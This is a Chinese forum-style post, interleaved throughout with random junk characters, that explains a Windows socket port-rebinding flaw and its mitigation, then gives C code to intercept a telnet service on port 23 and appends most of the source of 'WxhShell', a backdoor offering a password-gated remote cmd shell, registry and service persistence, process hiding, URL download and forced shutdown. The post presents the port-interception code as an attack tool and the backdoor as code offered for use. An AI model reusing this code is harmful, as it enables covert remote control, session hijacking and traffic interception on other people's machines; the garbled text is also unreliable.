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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]B0>r^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z<rdxn,9 ~T<#HSR` saddr.sin_family = AF_INET; -bo2"*|m ByeyUw saddr.sin_addr.s_addr = htonl(INADDR_ANY); x Yr-,$/ CtVY;eG bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aR.1&3fE
U7J0& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WM BntB >%+"-bY 这意味着什么?意味着可以进行如下的攻击: ;nG"y:qq OxX{[|!` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i7 `dY{p7 )'\Jp
7*3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _lb ^ vTjgW?9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TCp!4-~, &$ F0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ~6@zXHAS Mw7!w-1+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?RvXO'm l @Fqh]1t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C1P{4 U {6)fZpd)@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4cL
NPl< -h*Yd) #include <Hhl=6op #include AL! ^1hCF #include lDV8< #include aGNVqS%y DWORD WINAPI ClientThread(LPVOID lpParam); +GI[
Kq int main() ;_K+b, { 57IrD*{ WORD wVersionRequested; :ORCsl6- DWORD ret; wq_c^Ioy WSADATA wsaData; zc]F BOOL val; o^4qY SOCKADDR_IN saddr; }p}i_'% SOCKADDR_IN scaddr; ADA%$NhJ! int err; Km]N scq1 SOCKET s; L@S"c
( SOCKET sc; *jGB/ y int caddsize; >OE.6)'Rm HANDLE mt; vX)6N#D! DWORD tid; w>; :mf wVersionRequested = MAKEWORD( 2, 2 ); ]l+Bg;F#V err = WSAStartup( wVersionRequested, &wsaData ); P~_CDh.N if ( err != 0 ) { = Ii@-C printf("error!WSAStartup failed!\n"); aRq7x~j
)\ return -1; 51.F,uY } l}335;( saddr.sin_family = AF_INET; G6JyAC9j cZ|D!1% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qh0)~JL4 tzi+A;>c(v saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BArsj saddr.sin_port = htons(23); _4o2AS : j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %2BFbaE { %%c0UaV printf("error!socket failed!\n"); 5YC56,X return -1; H24g+<Tv } ^K@r!)We val = TRUE; 'e3y| //SO_REUSEADDR选项就是可以实现端口重绑定的 >1pD'UZIy7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z:u`W#Rf { =d~]*[8 printf("error!setsockopt failed!\n"); ZyCAl9{p return -1; X]cB`?vR } G&D N'bp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :m8ED[9b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `"AjbCL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bw%1*;n) "x\3`Qk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |r}%AN6+ { Ep 5lmzg ret=GetLastError(); k%hD<_:p printf("error!bind failed!\n"); t
vk^L3=< return -1;
cD0 } L!S-f4^5 listen(s,2); ,z1# |Y while(1) FAM`+QtNw {
@KOa5-u caddsize = sizeof(scaddr); *!Am6\+ //接受连接请求 KG>.7xVWV7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,;/4E if(sc!=INVALID_SOCKET) JTx}{kVO { =v:_N.Fh-c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /4_}wi\ if(mt==NULL) Vaha--QB { wW%I < M printf("Thread Creat Failed!\n"); &51/Pm2O break; X[@>1tl } 44%H? ,d } \W= CloseHandle(mt); H~ks"D1 } GC4$9q}C4Z closesocket(s); ,1~Zqprn WSACleanup(); uXhp+q\ return 0; ~B=\![ } *s%s|/ DWORD WINAPI ClientThread(LPVOID lpParam) xje{kx# { 3\4Cg() SOCKET ss = (SOCKET)lpParam; 1c}'o*K_% SOCKET sc; SbGp unsigned char buf[4096]; aLsGden| SOCKADDR_IN saddr; ?5(L.XFm long num; ZzKn,+ DWORD val; |HG%o
3E] DWORD ret; Q'8v!/"}p{ //如果是隐藏端口应用的话,可以在此处加一些判断 xDQ$Ui. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 &1Y+q] saddr.sin_family = AF_INET; ko5\*!|:lj saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >#q|Pjv] saddr.sin_port = htons(23); 7Ru0>4B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s]I],>}RU { >)N#n` printf("error!socket failed!\n"); <!+o8z] return -1; VtKN{sSnu } O Z#? val = 100; VKs\b-1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %]R#}amW { VLO>{"{' ret = GetLastError(); lp9<j1Wl return -1; 'sA&Pm } {$EXI]f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o?b%L { m_Rgv.gE^ ret = GetLastError(); 0)/214^& return -1; .U1dcL6 } -0]aOT-- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V\G>e{ { ^s?wnEo;j printf("error!socket connect failed!\n"); x$Dv&4 closesocket(sc);
1y@- closesocket(ss); srSTQ\l4 return -1; ew"Fr1UGYZ } UP`q6]P while(1) ~"wD4Ue { =QC^7T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yn#8uaU //如果是嗅探内容的话,可以再此处进行内容分析和记录 w %zw+E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [D,:=p` num = recv(ss,buf,4096,0); ]lo1Kw if(num>0) m3WV<Cbz send(sc,buf,num,0); NV gLq@F else if(num==0) g\l;> break; _qg6(
X num = recv(sc,buf,4096,0); jgstx3 if(num>0) Y]lqtre*Y send(ss,buf,num,0); J#kdyBmuO else if(num==0) W"*R#:Q break; 6Te}"t> } n~ql]Ln closesocket(ss); 47 RY pd closesocket(sc); 9,W-KM return 0 ; 42u\Y_^ID } @(
t:E`8 i#lo?\PO> y#0w\/< ========================================================== F[u%t34' e!yw"Cf* 下边附上一个代码,,WXhSHELL 1FJ[_l j+9
S ========================================================== [z~Nw# ETOc4hMO #include "stdafx.h" LC{hoq\ ,
.I^ekF #include <stdio.h> X{
=[q|P #include <string.h> ~D5MAEazS #include <windows.h> TJpv"V #include <winsock2.h> 2FzS_\":I #include <winsvc.h> `k&K"jA7$ #include <urlmon.h> F4Uk+|]Bu 9ojhI=: #pragma comment (lib, "Ws2_32.lib") Y+GeT#VHe #pragma comment (lib, "urlmon.lib") pG
@iR*? JNaW>X$K #define MAX_USER 100 // 最大客户端连接数 X t =bc #define BUF_SOCK 200 // sock buffer tTH%YtG #define KEY_BUFF 255 // 输入 buffer kDq%Y[6Z a1SOC=.M; #define REBOOT 0 // 重启 05B+WJ1 #define SHUTDOWN 1 // 关机 <&:&qngg qJU)d #define DEF_PORT 5000 // 监听端口 h<;[P?z .,Qnn}:l #define REG_LEN 16 // 注册表键长度 A=UIN! #define SVC_LEN 80 // NT服务名长度 ok[=1gA#h o2 d~ // 从dll定义API }G+A_HF ^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gF6j6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;6nZ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5iddB $ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _|3TC1N$n 4D$sFR|?t // wxhshell配置信息 O/9%"m:i struct WSCFG { zL'IN)7MU int ws_port; // 监听端口 * g4Cy8$ char ws_passstr[REG_LEN]; // 口令 8$ZSF92C int ws_autoins; // 安装标记, 1=yes 0=no e[mhbFf- char ws_regname[REG_LEN]; // 注册表键名 :IVMTdYf char ws_svcname[REG_LEN]; // 服务名 5w)^~#' char ws_svcdisp[SVC_LEN]; // 服务显示名 Nu/Qa:H_{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 m}[~A@qD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z,!Xxv;4 int ws_downexe; // 下载执行标记, 1=yes 0=no eD{ @0& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" U?fN3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )]>G,.9C} eH%L?"J~: }; .xkV#ol qzt2j\v // default Wxhshell configuration RyOT[J struct WSCFG wscfg={DEF_PORT, /~l/_Jct@G "xuhuanlingzhe", A?D"j7JD=L 1, I49l2> "Wxhshell", x56
F "Wxhshell", QHs:=i~VH "WxhShell Service", Eqmv`Z
[_ "Wrsky Windows CmdShell Service", NQ!N"C3u "Please Input Your Password: ", `x$}~rP&)! 1, 5m.KtnT) " http://www.wrsky.com/wxhshell.exe", f:[d]J| "Wxhshell.exe" i\Pr3
7
" }; )yNw2+ ~5 LlA`QLe // 消息定义模块 37O#aJ,K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O/Mz?$8J char *msg_ws_prompt="\n\r? for help\n\r#>"; $;2eH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; u@bOEcxK char *msg_ws_ext="\n\rExit."; o%+A<Ri char *msg_ws_end="\n\rQuit."; ECS<l*i57& char *msg_ws_boot="\n\rReboot..."; |c
oEBFG char *msg_ws_poff="\n\rShutdown..."; adO!Gs9f? char *msg_ws_down="\n\rSave to "; 827)n[#%| Sz|Y$, char *msg_ws_err="\n\rErr!"; c. TB8Ol char *msg_ws_ok="\n\rOK!"; qXB03}] G pcuMGo-# char ExeFile[MAX_PATH]; fsrg2:kQ int nUser = 0; nI*(a: HANDLE handles[MAX_USER]; 20/P M9 int OsIsNt; WAwfL? K/wiL69 SERVICE_STATUS serviceStatus; s-GleX< SERVICE_STATUS_HANDLE hServiceStatusHandle; Q.9Ph
~ q: Bt]2x // 函数声明 d4p{5F7]^ int Install(void); 4>$
;gH int Uninstall(void); `rz`3:ZH int DownloadFile(char *sURL, SOCKET wsh); XWUvP int Boot(int flag); vn0cKz@ void HideProc(void); piYws<Q int GetOsVer(void); \3Q:K| int Wxhshell(SOCKET wsl); z;bH<cQ void TalkWithClient(void *cs); HzD> -f int CmdShell(SOCKET sock); (:.Q\!aZ1 int StartFromService(void); 4-]Do? int StartWxhshell(LPSTR lpCmdLine); X(r)Z\ IqhICC1V- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]cF1c90% VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9C557$nS^ PPwxk; // 数据结构和表定义 4V u'r? SERVICE_TABLE_ENTRY DispatchTable[] = 9UeVvH { W{fULl {wscfg.ws_svcname, NTServiceMain}, 1z})mfsh {NULL, NULL} ="3a%\ }; 1<LC8?wt %~#!NX // 自我安装 )l+XD I int Install(void) F5N>Uqr*oN { v87$NQvwQ char svExeFile[MAX_PATH]; IWjR0 HKEY key; a.
h?4+^bN strcpy(svExeFile,ExeFile); -"~L2f"? tA`mD >[ // 如果是win9x系统,修改注册表设为自启动 YPF&U4CN if(!OsIsNt) { ]j& FbP)3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /]ku$.mr\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o"'iXUJ RegCloseKey(key); 8ivRp<9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R&6n?g6@/V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _:wZmZU} RegCloseKey(key); 2}^+]5 return 0; -M"IVyy@ } \e?.hmq } #V<`U:. } u$WBc\j else { ' 2>l >$2E1HW. // 如果是NT以上系统,安装为系统服务 ]UK`?J=t2g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %
2I if (schSCManager!=0) |if'_x1V { /VRUz++K SC_HANDLE schService = CreateService FQ+8J 7 ( W;^N8ap% schSCManager, `Jn,IDq wscfg.ws_svcname, Q2*/`L}m\ wscfg.ws_svcdisp, aQ&uC )w SERVICE_ALL_ACCESS, m])Lw@#9W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fk+1# 7{ SERVICE_AUTO_START, D^|jZOJ SERVICE_ERROR_NORMAL, Gu2_dT svExeFile, /
>%L[RJ4 NULL, ,,S9$@R NULL, S2ark,sp6 NULL, TW>?h=.z NULL, GOGt?iw*< NULL <lFdexH"T ); -<6v:Z if (schService!=0) 7krh4 { :#WEx_] CloseServiceHandle(schService); for{ CloseServiceHandle(schSCManager); )B81i!
q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +i+tp8T+7 strcat(svExeFile,wscfg.ws_svcname); 26M~<Ic if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Te+^J8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [KMS<4t' RegCloseKey(key); vEF=e return 0; `Z:3`7c } h77IWo6% } ?!H)zz6y CloseServiceHandle(schSCManager); j$+gq*I&E } QskUdzQ= } c -w0 b7!UZu]IEv return 1; 4Hk6b09 } 0vDg8i\ <^Nk.E // 自我卸载 ZY)%U*jWU int Uninstall(void) ^T{8uJ'kn { [yC"el6PM HKEY key; Ih()/( WV2~(/hX& if(!OsIsNt) { [%jxf\9jJ_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YwXXXh RegDeleteValue(key,wscfg.ws_regname); d5:tSO RegCloseKey(key); z>|)ieL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]%Y\ZIS RegDeleteValue(key,wscfg.ws_regname); *2=W5LaK. RegCloseKey(key); O^0" return 0; kxh 5}eB } JR)/c6j } x<s|vgl| } #X5hSw; else { |Ytg gfm;xT/y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V!xwb:J if (schSCManager!=0) ESIzGaM { jN6b*-2
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]26mB if (schService!=0) yb?{LL-uy { waCboK' if(DeleteService(schService)!=0) { zP&q7 t;> CloseServiceHandle(schService); 88g47>{X CloseServiceHandle(schSCManager); Q&PB]D{ return 0; KmL$M } IA2GUnUhu CloseServiceHandle(schService); +#s;yc#=2 } +]c}rWm CloseServiceHandle(schSCManager); On&L#pf } /$:U$JVb?l } "yW&<7u1 [4XC#OgA return 1; q{E"pyt36R } |l7%l&! 5V @&o`!=h // 从指定url下载文件 g~!$i`_b int DownloadFile(char *sURL, SOCKET wsh) DjwQ`MA { Hbk&6kS HRESULT hr; 6IP$n($2 char seps[]= "/"; 9tk" :ld char *token; *d>vR1 char *file; K%gP5>y*9> char myURL[MAX_PATH]; Go <' char myFILE[MAX_PATH]; 2]2H++ <GF @L strcpy(myURL,sURL); @o#+5P token=strtok(myURL,seps); >'`Sf ?+| while(token!=NULL) TJOvyz`t { jK3\K/ob( file=token; 1,`H:%z% token=strtok(NULL,seps); xmr|'}Pt[ } +O+<Go@a ia4k :\ GetCurrentDirectory(MAX_PATH,myFILE); b/<mRQ{ strcat(myFILE, "\\"); FP@qh strcat(myFILE, file); eN/G i< send(wsh,myFILE,strlen(myFILE),0); |s=`w8p send(wsh,"...",3,0); z(H?VfJo hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0E6lmz`O if(hr==S_OK) l>&sIX return 0; KG8W8&q else mp\%M
1< return 1; PAZ$_eSK6 0@pu@ DP~ } n"G`b i- lKdpv // 系统电源模块 Zw$
OKU int Boot(int flag) eH
<Jng { Mw^*yW HANDLE hToken; Mo^`\/x! TOKEN_PRIVILEGES tkp; y3IWfiz>/d r{[OJc! if(OsIsNt) { ]sj0~DI*m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1R*=.i%W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HZZDv+ tkp.PrivilegeCount = 1; q`Q}yE>9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l,d, T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &q>zR6jne if(flag==REBOOT) { 'UfeluMd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H+l,)Se return 0; B?6QMC; } -BhTkoN) else { s@!$='| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w sY}JT return 0; Qn=$8!Qqa } yn~P{}68 } JNo8>aFOb else { 3~%!m<1: if(flag==REBOOT) { z~Na-N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q~Ea8UT.# return 0; #H5=a6E+q } g`?:=G:a* else { MYdx .NZT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !buz<h return 0; `# ^0cW } n&!+wcJ;Yt } 97LpY_sU g}Qx`65: return 1; P!<[U!<hH } |y1;&< G]*|H0j // win9x进程隐藏模块 BSzkW}3q9 void HideProc(void) qO()w { {a"RXa &]iKriG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $f-hUOuyo if ( hKernel != NULL ) li/aN { ^^}Hs-{T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c K <)$* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jqfm@Y FreeLibrary(hKernel); 3-x%wD. } _T*AC. LP<<'(l` return; |t6~%6^8 } y0IK,W'&? $[(d X!]F // 获取操作系统版本 ?L|yaC~ int GetOsVer(void) +AI`R`Tm { 0I%: BT OSVERSIONINFO winfo; OhwF )p= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O@&+} D> GetVersionEx(&winfo); tZ8e`r* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tXq)nfGe{ return 1; ! OE*z $\ else IXq(jhm8bL return 0; CqoG.1jJS } G{lcYP O N|dD! // 客户端句柄模块 $p$dKH int Wxhshell(SOCKET wsl) \:/Lc{*}MD { VKuAO$s$ SOCKET wsh; e7k%6'@ struct sockaddr_in client; ^v:Z o DWORD myID; YfDWM7x7, ,XB%\[pKe while(nUser<MAX_USER) C`K^L=8`{ { oln<yyDs int nSize=sizeof(client); 7%d8D>uw8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qX6D1X1_ if(wsh==INVALID_SOCKET) return 1; I%;Jpe \l,rpVv5m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5%i:4sMx
* if(handles[nUser]==0) AW8'RfC. closesocket(wsh); Oh; Jw else <kc#thL nUser++; =G${[V\ } .SS<MDcqIt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r>|-2}{N/ x;#zs64f return 0; z2 hFn& } qqOFr!)g p2 ! FcFi // 关闭 socket O)#U ^ void CloseIt(SOCKET wsh) k`VM2+9h'^ { $c9k*3{<+A closesocket(wsh); Tlsa%pn nUser--; A
Y9
9!p ExitThread(0); f)NHM' } K+d2m9C= jRj=Awy // 客户端请求句柄 X6@w krf- void TalkWithClient(void *cs) !G?gsW0\h { M+Uyb7 %1}6q`:w SOCKET wsh=(SOCKET)cs; "(TkJbwC[ char pwd[SVC_LEN]; g8pO
Lr' char cmd[KEY_BUFF]; ;JTt2qQKo char chr[1]; X0$@Ik
int i,j; kgW @RD| !1Y&Y@ze while (nUser < MAX_USER) { b"CAKl <~"lie1 if(wscfg.ws_passstr) { Poy^RpnX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YT-=;uK^S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #&Is GyU //ZeroMemory(pwd,KEY_BUFF); Hfc"L> i=0; w *!wQ,o while(i<SVC_LEN) { ALT^8c&K nC njq= // 设置超时 )D@~|j: fd_set FdRead; E^V| struct timeval TimeOut; [r-}bp'Gp FD_ZERO(&FdRead); ?6N3tk-2 FD_SET(wsh,&FdRead); $yb@
Hhx> TimeOut.tv_sec=8; r o\1]`6 TimeOut.tv_usec=0; /@Y CA}|/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J"CJYuGW, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <"tDAx "@ E3MTW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?J!3j{4e pwd =chr[0]; *yaw$oB if(chr[0]==0xd || chr[0]==0xa) { ocQWQ pwd=0; v#oi0-9o[ break; 4^Rd{'mt } q{' ~+Nq i++; vmZ"o9-{#X } h5~n 1qX -j`LhS~| // 如果是非法用户,关闭 socket wNWka7P* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HSz"
tN } (?i[jO||B FfFak@H send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +l0g`: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 93Yn`Av; SaDA`JmO while(1) {
"lVqU l|"6yB | ZeroMemory(cmd,KEY_BUFF); [M+tB"_ ,T5u'"; // 自动支持客户端 telnet标准 I0Ia6w9 j=0; ?ny= while(j<KEY_BUFF) { HZjf`eM, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xBM>u,0.F cmd[j]=chr[0]; `'4)q}bB if(chr[0]==0xa || chr[0]==0xd) { nWYCh7 cmd[j]=0; %JL];
4' break; KtN&,C )lJ } w=_Jc8/. j++; 4
J^Q]-Z } k4\UK#ODe I-@?guZ r // 下载文件 Va<eusl if(strstr(cmd,"http://")) { <iLM{@lZvJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); >s EjR! if(DownloadFile(cmd,wsh)) ql{_%x? send(wsh,msg_ws_err,strlen(msg_ws_err),0); .qD@
Y3- else p3x?[Ww send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O<*5$,K9 } %V_-%/3Z else { 3=.Y,ENM; On_@HQ/FI switch(cmd[0]) { B(5c9DI` 1= VJ&D; // 帮助 VD7i52xS case '?': { kdrod [S send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1%~ZRmd e break; Im72Vt:p- } ot%.M*h- // 安装 _^S]g mE case 'i': { C"pB"^0 if(Install()) 7}o/: send(wsh,msg_ws_err,strlen(msg_ws_err),0); HIc a nk else OM83S|1s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ -..~K.| break; 9";sMB}W* } =?Fkn4t // 卸载 \Ad7
G i~ case 'r': { kBWrqZ6 if(Uninstall()) ](0mjE04<d send(wsh,msg_ws_err,strlen(msg_ws_err),0); GHc/Zc"iX else ?A*Kg;IU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fwg^(;bL break; t'qL[r%? } q0xjA // 显示 wxhshell 所在路径 &%=D \YzG case 'p': { 7'p8a<x char svExeFile[MAX_PATH]; 5]Da{Wmgs strcpy(svExeFile,"\n\r"); .IrNa>J~ strcat(svExeFile,ExeFile); :z"!kzdJ send(wsh,svExeFile,strlen(svExeFile),0); #?O& break; 9(_{`2R8 } #;VA5<M8 // 重启 /Ft:ffR|R case 'b': { |i%2%V#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :' #\ if(Boot(REBOOT)) ii|?; send(wsh,msg_ws_err,strlen(msg_ws_err),0); n{5NNV6 else { m?CZQq, closesocket(wsh); B|Wk?w.{r\ ExitThread(0); epD?K } @tUoD>f break; #Z,E><t } ':h
=*v8a // 关机 PD[z#T!' case 'd': { ,^s0</ve send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _r Y,}\ if(Boot(SHUTDOWN)) ;@mRo`D` send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sr Ca3PA else { _'0
@%P% closesocket(wsh); X"asfA[6K ExitThread(0); },-* } P7 y q^| break; $hrIO+ } :*i f // 获取shell )q~DTR^z- case 's': { C}}/)BYi CmdShell(wsh); k%'m *T f closesocket(wsh); 3\$wdUFr ExitThread(0); 2B1xUj ] break; yJx?M } VU.@R, // 退出 @J'YV{] case 'x': { + =$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9i$NhfOe CloseIt(wsh); <v
0*]NiX break; /#LW"4;* } cDEJk?3+ // 离开 %8.J=B case 'q': { pV['' send(wsh,msg_ws_end,strlen(msg_ws_end),0); c "=N closesocket(wsh); d=O3YNM:v WSACleanup(); ;^){|9@ exit(1); _wDS#t;!M break; \Q$HXK } g(x9S'H3l } Of}|ib^t } yx{3J
T)~9Wac // 提示信息 -~f511<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]B\H~Kn } =^DLywAh}u } G'z{b$?/[ =<z.mzqu5 return; {r85l\u)Q\ } TX8<J>x cQj-+Tmu // shell模块句柄 +/{L#e> int CmdShell(SOCKET sock) hcCp,b { 6i@\5}m= STARTUPINFO si; Vy<HA* ZeroMemory(&si,sizeof(si)); xG2F!WeF si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '_P\#7$!MV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t~7V{ xk PROCESS_INFORMATION ProcessInfo; z;\d L char cmdline[]="cmd"; ?`_jFj+<\S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yCz|{=7"j return 0; d 4?d4;{ } RIn9(r FqFapRX66Z // 自身启动模式 K*-@Q0"KM{ int StartFromService(void) h@{_duu { |J5 =J typedef struct ecJ6 { xw^.bz| DWORD ExitStatus; 2.e
vx DWORD PebBaseAddress; Y5q3T`xE DWORD AffinityMask; SGc8^%-` DWORD BasePriority; o|pT;1a" ULONG UniqueProcessId; >JwLk[=j ULONG InheritedFromUniqueProcessId; ;lX(}2tXW } PROCESS_BASIC_INFORMATION; E.bi05l bvBHYf:^ PROCNTQSIP NtQueryInformationProcess; wN-i?Ek0; 1j-te-}"c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `lDut1J5n static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P(k(m<0 z&8un%Jt HANDLE hProcess; `6Qdfmk= PROCESS_BASIC_INFORMATION pbi; |R/.r_x,V? d)o!5L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ck =;1sGh if(NULL == hInst ) return 0; B$Z3+$hfF P,DC 7\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T'-FV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "t=hzn"~% 